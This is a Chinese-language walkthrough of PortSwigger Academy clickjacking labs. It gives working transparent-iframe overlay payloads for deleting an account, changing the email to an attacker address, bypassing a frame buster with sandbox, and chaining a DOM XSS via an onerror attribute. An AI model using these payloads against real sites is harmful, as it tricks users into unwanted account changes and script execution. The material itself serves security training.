lab1 带有 csrf token 保护的基本点击劫持
实验一下点击劫持
此时 a 标签透明化了,看不到,但是点击 click me 会执行 a 标签的弹框
a 标签透明度置低后,badclick 显示出来了,由于 a 标签的样式 z-index:2,div 的 z-index: 1,数值大的,视觉层级置顶。所以点击时实际点击了看不见的 a 标签链接
回到 lab 中,加载一个带有加载 myaccount 的 iframe,并且设为透明,
<style>
iframe {
position:relative;/*相对定位是相对于元素自身在文档流中的原始位置进行偏移*/
width:500px;
height: 700px;
opacity: 1; /*透明度*/
z-index: 2; /*视觉层级在最前面*/
}
div {
position:absolute;/*绝对定位,需要依靠最近的相对定位元素,不占据文档空间,独立存在*/
top:500px;
left:60px;
z-index: 1;/*当iframe透明度低时,div将被覆盖*/
}
</style>
<div>Clickjacking</div>
<iframe src="https://0a98000503be89ae8219605d00a10096.web-security-academy.net/my-account"></iframe>
不透明是这样的
透明后 iframe 消失
实验中需要调整 div 的位置,top:500px;点击 store,view exploit,调整 div 的 top 属性值,将透明度设 0.1 方便观察位置,位置到大约 delete account 位置
Lab2 点击劫持改邮箱
调整位置放到 update email 的位置即可,下图因为试验成功后弹出成功标志,把 update 按钮顶下去了。
提交的 iframe 中插入修改邮箱的 url
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0ab4002e03e2d5c382221f3c00830043.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>
lab3 Clickjacking with a frame buster script
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://0ab6001703d1c129823c334d00990089.web-security-academy.net/my-account?email=hacker@attacker-website.com""></iframe>
lab4 利用点击劫持触发 dom xss
测试输入后回显了 name
name 处输入<h1>aa</h1>
解析了 h1 标签
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:610px;
left:75px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0abc00e50372c49c80343a4c0026009a.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>
lab5 多步骤点击劫持
这次需要点击劫持两次完成删除账户
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:490;
left:60;
z-index: 1;
}
.secondClick {
top:290;
left:200;
}
</style>
<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src="https://0a8300060341c49f8082532e00070054.web-security-academy.net/my-account/my-account"></iframe>
echo "QmlsaWJpbGkgc2VhcmNoICdQZW5UZXN0M3JfWmVybGsnIGZvciBtb3JlIHZpZGVvLCBUaGFuayB5
b3UgZm9yIHlvdXIgc3VwcG9ydCEK"|base64 -d